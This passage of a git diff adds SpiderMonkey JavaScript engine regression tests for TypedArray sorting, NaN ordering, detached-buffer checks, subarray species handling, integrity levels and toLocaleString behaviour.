+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_compare_nan.js b/js/src/tests/non262/TypedArray/sort_compare_nan.js
new file mode 100644
index 0000000000..c9af7dff77
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_compare_nan.js
@@ -0,0 +1,12 @@
+// Returning zero from the sort comparator...
+let ta = new Int32Array([0, 1]).sort(() => 0);
+assertEq(ta[0], 0);
+assertEq(ta[1], 1);
+
+// ... should give the same result as returning NaN.
+let tb = new Int32Array([0, 1]).sort(() => NaN);
+assertEq(tb[0], 0);
+assertEq(tb[1], 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_errors.js b/js/src/tests/non262/TypedArray/sort_errors.js
new file mode 100644
index 0000000000..603768e392
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_errors.js
@@ -0,0 +1,87 @@
+// Ensure that TypedArrays throw when attempting to sort a detached ArrayBuffer
+if (typeof detachArrayBuffer === "function") {
+ assertThrowsInstanceOf(() => {
+ let buffer = new ArrayBuffer(32);
+ let array = new Int32Array(buffer);
+ detachArrayBuffer(buffer);
+ array.sort();
+ }, TypeError);
+}
+
+// Ensure detachment check works when buffer is detached in comparator.
+if (typeof detachArrayBuffer === "function") {
+ let detached = false;
+ let ta = new Int32Array(3);
+ assertThrowsInstanceOf(() => {
+ ta.sort(function(a, b) {
+ assertEq(detached, false);
+ detached = true;
+ detachArrayBuffer(ta.buffer);
+ return a - b;
+ });
+ }, TypeError);
+}
+
+// Ensure detachment check doesn't choke on wrapped typed array.
+if (typeof newGlobal === "function") {
+ let ta = new Int32Array(3);
+ let otherGlobal = newGlobal();
+ otherGlobal.Int32Array.prototype.sort.call(ta, function(a, b) {
+ return a - b;
+ });
+}
+
+// Ensure detachment check works for wrapped typed arrays.
+if (typeof newGlobal === "function" && typeof detachArrayBuffer === "function") {
+ let detached = false;
+ let ta = new Int32Array(3);
+ let otherGlobal = newGlobal();
+ assertThrowsInstanceOf(() => {
+ otherGlobal.Int32Array.prototype.sort.call(ta, function(a,b) {
+ assertEq(detached, false);
+ detached = true;
+ detachArrayBuffer(ta.buffer);
+ return a - b;
+ });
+ }, otherGlobal.TypeError);
+}
+
+// Ensure that TypedArray.prototype.sort will not sort non-TypedArrays
+assertThrowsInstanceOf(() => {
+ let array = [4, 3, 2, 1];
+ Int32Array.prototype.sort.call(array);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ Int32Array.prototype.sort.call({a: 1, b: 2});
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ Int32Array.prototype.sort.call(Int32Array.prototype);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ let buf = new ArrayBuffer(32);
+ Int32Array.prototype.sort.call(buf);
+}, TypeError);
+
+// Ensure that comparator errors are propagataed
+function badComparator(x, y) {
+ if (x == 99 && y == 99)
+ throw new TypeError;
+ return x - y;
+}
+
+assertThrowsInstanceOf(() => {
+ let array = new Uint8Array([99, 99, 99, 99]);
+ array.sort(badComparator);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ let array = new Uint8Array([1, 99, 2, 99]);
+ array.sort(badComparator);
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_globals.js b/js/src/tests/non262/TypedArray/sort_globals.js
new file mode 100644
index 0000000000..6bab6a3913
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_globals.js
@@ -0,0 +1,9 @@
+// TypedArray.prototype.sort should work across globals
+let g2 = newGlobal();
+assertEqArray(
+ Int32Array.prototype.sort.call(new g2.Int32Array([3, 2, 1])),
+ new Int32Array([1, 2, 3])
+);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_small.js b/js/src/tests/non262/TypedArray/sort_small.js
new file mode 100644
index 0000000000..22f9dc69a6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_small.js
@@ -0,0 +1,38 @@
+const testCases = {
+ // Pre-sorted test data, it's important that these arrays remain in ascending order.
+ [Int8Array.name]: [[-128, 127]],
+ [Int16Array.name]: [[-32768, -999, 1942, 32767]],
+ [Int32Array.name]: [[-2147483648, -320000, -244000, 2147483647]],
+ [Uint8Array.name]: [[255]],
+ [Uint16Array.name]: [[0, 65535, 65535]],
+ [Uint32Array.name]: [[0, 987632, 4294967295]],
+ [Uint8ClampedArray.name]: [[255]],
+
+ // Test the behavior in the default comparator as described in 22.2.3.26.
+ // The spec boils down to, -0s come before +0s, and NaNs always come last.
+ // Float Arrays are used because all other types convert -0 and NaN to +0.
+ [Float32Array.name]: [
+ [-2147483647, -2147483646.99, -0, 0, 2147483646.99, NaN],
+ [1/undefined, NaN, Number.NaN]
+ ],
+ [Float64Array.name]: [
+ [-2147483646.99, -0, 0, 4147483646.99, NaN],
+ [1/undefined, NaN, Number.NaN]
+ ],
+};
+
+// Sort every possible permutation of an arrays
+function sortAllPermutations(dataType, testData) {
+ let reference = new dataType(testData);
+ for (let permutation of Permutations(testData))
+ assertDeepEq((new dataType(permutation)).sort(), reference);
+}
+
+for (let constructor of sharedTypedArrayConstructors) {
+ for (let data of testCases[constructor.name]) {
+ sortAllPermutations(constructor, data);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_snans.js b/js/src/tests/non262/TypedArray/sort_snans.js
new file mode 100644
index 0000000000..50f99b2205
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_snans.js
@@ -0,0 +1,79 @@
+// Ensure that signaling NaN's don't cause problems while sorting
+
+function getNaNArray(length) {
+ let a = [];
+ for (let i = 0; i < length; i++)
+ a.push(NaN);
+ return a;
+}
+
+// Test every skipNth value in some range n, where start <= n <= end
+// and start/stop should be 32-bit integers with bit patterns that
+// form Float32 NaNs.
+function testFloat32NaNRanges(start, end) {
+ let skipN = 10e3;
+
+ // sample the space of possible NaNs to save time
+ let sampleSize = Math.floor((end - start)/ skipN);
+
+ let NaNArray = new Float32Array(getNaNArray(sampleSize));
+ let buffer = new ArrayBuffer(4 * sampleSize);
+ let uintView = new Uint32Array(buffer);
+ let floatView = new Float32Array(buffer);
+
+ uintView[0] = start;
+ for (let i = 1; i < sampleSize; i++) {
+ uintView[i] = uintView[0] + (i * skipN);
+ }
+
+ floatView.sort();
+ assertDeepEq(floatView, NaNArray);
+}
+
+// Test every skipNth value in some range n, where start <= n <= end
+// and startHi, startLow and endHi, endLow should be 32-bit integers which,
+// when combined (Hi + Low), form Float64 NaNs.
+function testFloat64NaNRanges(startHi, startLow, endHi, endLow) {
+
+ // Swap on big endian platforms
+ if (new Uint32Array(new Uint8Array([1,2,3,4]).buffer)[0] === 0x01020304) {
+ [startHi, startLow] = [startLow, startHi];
+ [endHi, endLow] = [endLow, endHi];
+ }
+
+ let skipN = 10e6;
+
+ let sampleSizeHi = Math.floor((endHi - startHi)/skipN);
+ let sampleSizeLow = Math.floor((endLow - startLow)/skipN);
+
+ let NaNArray = new Float64Array(getNaNArray(sampleSizeHi + sampleSizeLow));
+ let buffer = new ArrayBuffer(8 * (sampleSizeHi + sampleSizeLow));
+ let uintView = new Uint32Array(buffer);
+ let floatView = new Float64Array(buffer);
+
+ // Fill in all of the low bits first.
+ for (let i = 0; i <= sampleSizeLow; i++) {
+ uintView[i * 2] = startLow + (i * skipN);
+ uintView[(i * 2) + 1] = startHi;
+ }
+
+ // Then the high bits.
+ for (let i = sampleSizeLow; i <= sampleSizeLow + sampleSizeHi; i++) {
+ uintView[i * 2] = endLow;
+ uintView[(i * 2) + 1] = startHi + ((i - sampleSizeLow) * skipN);
+ }
+
+ floatView.sort();
+ assertDeepEq(floatView, NaNArray);
+}
+
+// Float32 Signaling NaN ranges
+testFloat32NaNRanges(0x7F800001, 0x7FBFFFFF);
+testFloat32NaNRanges(0xFF800001, 0xFFBFFFFF);
+
+// Float64 Signaling NaN ranges
+testFloat64NaNRanges(0x7FF00000, 0x00000001, 0x7FF7FFFF, 0xFFFFFFFF);
+testFloat64NaNRanges(0xFFF00000, 0x00000001, 0xFFF7FFFF, 0xFFFFFFFF);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_sorted.js b/js/src/tests/non262/TypedArray/sort_sorted.js
new file mode 100644
index 0000000000..cb55ec3399
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_sorted.js
@@ -0,0 +1,30 @@
+function SortedAscending(length) {
+ var array = new Int32Array(length);
+ for (var i = 0; i < length; ++i)
+ array[i] = i + 1;
+
+ array.sort((x, y) => x - y);
+
+ for (var i = 0; i < length; ++i)
+ assertEq(i + 1, array[i], `Mismatch at index=${i}, length=${length}`);
+}
+
+for (var i = 0; i < 256; ++i)
+ SortedAscending(i);
+
+function SortedDescending(length) {
+ var array = new Int32Array(length);
+ for (var i = 0; i < length; ++i)
+ array[i] = length - i;
+
+ array.sort((x, y) => x - y);
+
+ for (var i = 0; i < length; ++i)
+ assertEq(i + 1, array[i], `Mismatch at index=${i}, length=${length}`);
+}
+
+for (var i = 0; i < 256; ++i)
+ SortedDescending(i);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_stable.js b/js/src/tests/non262/TypedArray/sort_stable.js
new file mode 100644
index 0000000000..d945e774c1
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_stable.js
@@ -0,0 +1,23 @@
+// Test with different lengths to cover the case when InsertionSort is resp.
+// is not called.
+for (let i = 2; i <= 10; ++i) {
+ let length = 2 ** i;
+ let ta = new Int8Array(length);
+
+ ta[0] = 2;
+ ta[1] = 1;
+ ta[2] = 0;
+
+ for (let i = 3; i < length; ++i) {
+ ta[i] = 4;
+ }
+
+ ta.sort((a, b) => (a/4|0) - (b/4|0));
+
+ assertEq(ta[0], 2);
+ assertEq(ta[1], 1);
+ assertEq(ta[2], 0);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sorting_buffer_access.js b/js/src/tests/non262/TypedArray/sorting_buffer_access.js
new file mode 100644
index 0000000000..c31f4ca167
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sorting_buffer_access.js
@@ -0,0 +1,15 @@
+// Ensure that when sorting arrays of size greater than 128, which
+// calls RadixSort under the hood, we don't access the 'buffer'
+// property of the typed array directly.
+
+
+// The buggy behavior in the RadixSort is only exposed when we use
+// float arrays, but checking everything just to be sure.
+for (var ctor of anyTypedArrayConstructors) {
+ var testArray = new ctor(1024);
+ Object.defineProperty(testArray, "buffer", { get() { throw new Error("FAIL: Buffer accessed directly"); } });
+ testArray.sort();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/subarray-species.js b/js/src/tests/non262/TypedArray/subarray-species.js
new file mode 100644
index 0000000000..91c34e80cc
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/subarray-species.js
@@ -0,0 +1,63 @@
+function test(constructor, constructor2, from=[1, 2, 3, 4, 5], to=[3, 4], begin=2, end=4) {
+ var modifiedConstructor = new constructor(from);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.subarray(begin, end), new constructor2(to));
+ var modifiedSpecies = new constructor(from);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.subarray(begin, end), new constructor2(to));
+}
+
+// same size, same sign
+
+test(Int8Array, Uint8Array);
+test(Int8Array, Uint8ClampedArray);
+
+test(Uint8Array, Int8Array);
+test(Uint8Array, Uint8ClampedArray);
+
+test(Uint8ClampedArray, Int8Array);
+test(Uint8ClampedArray, Uint8Array);
+
+test(Int16Array, Uint16Array);
+test(Uint16Array, Int16Array);
+
+test(Int32Array, Uint32Array);
+test(Uint32Array, Int32Array);
+
+// same size, different sign
+
+test(Int8Array, Uint8Array, [-1, -2, -3, -4, -5], [0xFD, 0xFC]);
+test(Int8Array, Uint8ClampedArray, [-1, -2, -3, -4, -5], [0xFD, 0xFC]);
+
+test(Uint8Array, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-3, -4]);
+test(Uint8ClampedArray, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-3, -4]);
+
+test(Int16Array, Uint16Array, [-1, -2, -3, -4, -5], [0xFFFD, 0xFFFC]);
+test(Uint16Array, Int16Array, [0xFFFF, 0xFFFE, 0xFFFD, 0xFFFC, 0xFFFB], [-3, -4]);
+
+test(Int32Array, Uint32Array, [-1, -2, -3, -4, -5], [0xFFFFFFFD, 0xFFFFFFFC]);
+test(Uint32Array, Int32Array, [0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC, 0xFFFFFFFB], [-3, -4]);
+
+// different size
+
+// To avoid handling endian, use ArrayBuffer as an argument.
+var a = new Int8Array([0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0,
+ 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01,
+ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,
+ 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x0F]);
+
+test(Uint8Array, Uint16Array, a.buffer, a.slice(2, 6).buffer);
+test(Uint16Array, Uint8Array, a.buffer, a.slice(4, 6).buffer);
+
+test(Uint8Array, Uint32Array, a.buffer, a.slice(4, 12).buffer, 4, 6);
+test(Uint32Array, Uint8Array, a.buffer, a.slice(8, 10).buffer);
+
+test(Uint16Array, Uint32Array, a.buffer, a.slice(4, 12).buffer);
+test(Uint32Array, Uint16Array, a.buffer, a.slice(8, 12).buffer);
+
+test(Float32Array, Float64Array, a.buffer, a.slice(8, 24).buffer);
+test(Float64Array, Float32Array, a.buffer, a.slice(16, 24).buffer);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/TypedArray/subarray-validation.js b/js/src/tests/non262/TypedArray/subarray-validation.js
new file mode 100644
index 0000000000..4ad8c86095
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/subarray-validation.js
@@ -0,0 +1,117 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.subarray.
+
+const otherGlobal = newGlobal({newCompartment: true});
+const typedArrayLengths = [0, 1, 1024];
+
+// Note: subarray uses CallTypedArrayMethodIfWrapped, which results in throwing
+// a TypeError from the wrong Realm if cross-compartment. The browser
+// runner doesn't support the "newCompartment" option, so it can't create
+// cross-compartment globals, which means it throws the error from the
+// correct Realm.
+const eitherGlobalTypeError = {
+ [Symbol.hasInstance](obj) {
+ return obj instanceof TypeError || obj instanceof otherGlobal.TypeError;
+ }
+};
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.subarray,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.subarray,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.subarray,
+ error: eitherGlobalTypeError,
+ });
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ // Note: TypedArray |a| is (currently) created in this global, not
+ // |otherGlobal|, because a typed array and its buffer must
+ // use the same compartment.
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/subarray.js b/js/src/tests/non262/TypedArray/subarray.js
new file mode 100644
index 0000000000..a7bfab0efd
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/subarray.js
@@ -0,0 +1,29 @@
+// Bug 1291003
+if (typeof detachArrayBuffer === "function") {
+ for (let constructor of typedArrayConstructors) {
+ const elementSize = constructor.BYTES_PER_ELEMENT;
+
+ let targetOffset;
+ let buffer = new ArrayBuffer(2 * elementSize);
+ let typedArray = new constructor(buffer, 1 * elementSize, 1);
+ typedArray.constructor = {
+ [Symbol.species]: function(ab, offset, length) {
+ targetOffset = offset;
+ return new constructor(1);
+ }
+ };
+
+ let beginIndex = {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 0;
+ }
+ };
+ typedArray.subarray(beginIndex);
+
+ assertEq(targetOffset, 1 * elementSize);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/test-integrity-level-detached.js b/js/src/tests/non262/TypedArray/test-integrity-level-detached.js
new file mode 100644
index 0000000000..68f772de61
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/test-integrity-level-detached.js
@@ -0,0 +1,104 @@
+const EMPTY = 0;
+const INLINE_STORAGE = 10;
+const NON_INLINE_STORAGE = 1024;
+
+class DetachedInt32Array extends Int32Array {
+ constructor(...args) {
+ super(...args);
+ detachArrayBuffer(this.buffer);
+ }
+}
+
+function throwsTypeError(fn) {
+ try {
+ fn();
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ return true;
+ }
+ return false;
+}
+
+// Non-standard: Accessing elements of detached array buffers should throw, but
+// this is currently not implemented.
+const ACCESS_ON_DETACHED_ARRAY_BUFFER_THROWS = (() => {
+ let ta = new DetachedInt32Array(10);
+ let throws = throwsTypeError(() => ta[0]);
+ // Ensure [[Get]] and [[GetOwnProperty]] return consistent results.
+ assertEq(throwsTypeError(() => Object.getOwnPropertyDescriptor(ta, 0)), throws);
+ return throws;
+})();
+
+function maybeThrowOnDetached(fn, returnValue) {
+ if (ACCESS_ON_DETACHED_ARRAY_BUFFER_THROWS) {
+ assertThrowsInstanceOf(fn, TypeError);
+ return returnValue;
+ }
+ return fn();
+}
+
+// Empty typed arrays can be sealed.
+{
+ let ta = new DetachedInt32Array(EMPTY);
+ Object.seal(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-empty typed arrays can be sealed, but calling TestIntegrityLevel will
+// throw on detached typed arrays.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new DetachedInt32Array(length);
+ Object.seal(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(maybeThrowOnDetached(() => Object.isSealed(ta), true), true);
+ assertEq(maybeThrowOnDetached(() => Object.isFrozen(ta), true), true);
+}
+
+// Empty typed arrays can be frozen.
+{
+ let ta = new DetachedInt32Array(EMPTY);
+ Object.freeze(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-empty typed arrays cannot be frozen.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new DetachedInt32Array(length);
+ maybeThrowOnDetached(() => Object.freeze(ta));
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(maybeThrowOnDetached(() => Object.isSealed(ta), true), true);
+ assertEq(maybeThrowOnDetached(() => Object.isFrozen(ta), true), true);
+}
+
+// Non-extensible empty typed arrays are sealed and frozen.
+{
+ let ta = new DetachedInt32Array(EMPTY);
+ Object.preventExtensions(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Calling TestIntegrityLevel will throw on detached typed arrays with non-zero
+// length.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new DetachedInt32Array(length);
+ Object.preventExtensions(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(maybeThrowOnDetached(() => Object.isSealed(ta), true), true);
+ assertEq(maybeThrowOnDetached(() => Object.isFrozen(ta), true), true);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/test-integrity-level.js b/js/src/tests/non262/TypedArray/test-integrity-level.js
new file mode 100644
index 0000000000..c382b4967c
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/test-integrity-level.js
@@ -0,0 +1,67 @@
+const EMPTY = 0;
+const INLINE_STORAGE = 10;
+const NON_INLINE_STORAGE = 1024;
+
+// Empty typed arrays can be sealed.
+{
+ let ta = new Int32Array(EMPTY);
+ Object.seal(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-empty typed arrays cannot be sealed.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new Int32Array(length);
+ assertThrowsInstanceOf(() => Object.seal(ta), TypeError);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), false);
+ assertEq(Object.isFrozen(ta), false);
+}
+
+// Empty typed arrays can be frozen.
+{
+ let ta = new Int32Array(EMPTY);
+ Object.freeze(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-empty typed arrays cannot be frozen.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new Int32Array(length);
+ assertThrowsInstanceOf(() => Object.freeze(ta), TypeError);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), false);
+ assertEq(Object.isFrozen(ta), false);
+}
+
+// Non-extensible empty typed arrays are sealed and frozen.
+{
+ let ta = new Int32Array(EMPTY);
+ Object.preventExtensions(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), true);
+ assertEq(Object.isFrozen(ta), true);
+}
+
+// Non-extensible non-empty typed arrays are neither sealed nor frozen.
+for (let length of [INLINE_STORAGE, NON_INLINE_STORAGE]) {
+ let ta = new Int32Array(length);
+ Object.preventExtensions(ta);
+
+ assertEq(Object.isExtensible(ta), false);
+ assertEq(Object.isSealed(ta), false);
+ assertEq(Object.isFrozen(ta), false);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toLocaleString-detached.js b/js/src/tests/non262/TypedArray/toLocaleString-detached.js
new file mode 100644
index 0000000000..fe95ae689c
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toLocaleString-detached.js
@@ -0,0 +1,38 @@
+if (typeof detachArrayBuffer === "function") {
+ const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+ // Throws if array buffer is detached.
+ for (let constructor of typedArrayConstructors) {
+ let typedArray = new constructor(42);
+ detachArrayBuffer(typedArray.buffer);
+ assertThrowsInstanceOf(() => typedArray.toLocaleString(), TypeError);
+ }
+
+ // Throws a TypeError if detached in Number.prototype.toLocaleString.
+ for (let constructor of typedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ "use strict";
+ if (!detached) {
+ detachArrayBuffer(typedArray.buffer);
+ detached = true;
+ }
+ return this;
+ };
+
+ // No error for single element arrays.
+ let detached = false;
+ let typedArray = new constructor(1);
+ assertEq(typedArray.toLocaleString(), "0");
+ assertEq(detached, true);
+
+ // TypeError if more than one element is present.
+ detached = false;
+ typedArray = new constructor(2);
+ assertThrowsInstanceOf(() => typedArray.toLocaleString(), TypeError);
+ assertEq(detached, true);
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toLocaleString-nointl.js b/js/src/tests/non262/TypedArray/toLocaleString-nointl.js
new file mode 100644
index 0000000000..f2870efbe6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toLocaleString-nointl.js
@@ -0,0 +1,40 @@
+if (typeof Intl !== "object") {
+ const localeSep = [,,].toLocaleString();
+
+ const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+ // Ensure no arguments are passed to the array elements.
+ for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 0);
+ return "pass";
+ };
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ // Ensure no arguments are passed to the array elements even if supplied.
+ for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 0);
+ return "pass";
+ };
+ let locales = {};
+ let options = {};
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(locales, options), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(locales, options), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toLocaleString.js b/js/src/tests/non262/TypedArray/toLocaleString.js
new file mode 100644
index 0000000000..78049ec225
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toLocaleString.js
@@ -0,0 +1,80 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+
+// %TypedArrayPrototype% has an own "toLocaleString" function property.
+assertEq(TypedArrayPrototype.hasOwnProperty("toLocaleString"), true);
+assertEq(typeof TypedArrayPrototype.toLocaleString, "function");
+
+// The initial value of %TypedArrayPrototype%.toLocaleString is not Array.prototype.toLocaleString.
+assertEq(TypedArrayPrototype.toLocaleString === Array.prototype.toLocaleString, false);
+
+// The concrete TypedArray prototypes do not have an own "toLocaleString" property.
+assertEq(anyTypedArrayConstructors.every(c => !c.hasOwnProperty("toLocaleString")), true);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArrayPrototype, "toLocaleString"), {
+ value: TypedArrayPrototype.toLocaleString,
+ writable: true,
+ enumerable: false,
+ configurable: true,
+});
+
+assertEq(TypedArrayPrototype.toLocaleString.name, "toLocaleString");
+assertEq(TypedArrayPrototype.toLocaleString.length, 0);
+
+// It's not a generic method.
+assertThrowsInstanceOf(() => TypedArrayPrototype.toLocaleString.call(), TypeError);
+for (let invalid of [void 0, null, {}, [], function(){}, true, 0, "", Symbol()]) {
+ assertThrowsInstanceOf(() => TypedArrayPrototype.toLocaleString.call(invalid), TypeError);
+}
+
+const localeOne = 1..toLocaleString(),
+ localeTwo = 2..toLocaleString(),
+ localeSep = [,,].toLocaleString();
+
+for (let constructor of anyTypedArrayConstructors) {
+ assertEq(new constructor([]).toLocaleString(), "");
+ assertEq(new constructor([1]).toLocaleString(), localeOne);
+ assertEq(new constructor([1, 2]).toLocaleString(), localeOne + localeSep + localeTwo);
+}
+
+const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+// Calls Number.prototype.toLocaleString on each element.
+for (let constructor of anyTypedArrayConstructors) {
+ Number.prototype.toLocaleString = function() {
+ "use strict";
+
+ // Ensure this-value is not boxed.
+ assertEq(typeof this, "number");
+
+ // Test ToString is applied.
+ return {
+ valueOf: () => {
+ throw new Error("valueOf called");
+ },
+ toString: () => {
+ return this + 10;
+ }
+ };
+ };
+ let typedArray = new constructor([1, 2]);
+ assertEq(typedArray.toLocaleString(), "11" + localeSep + "12");
+}
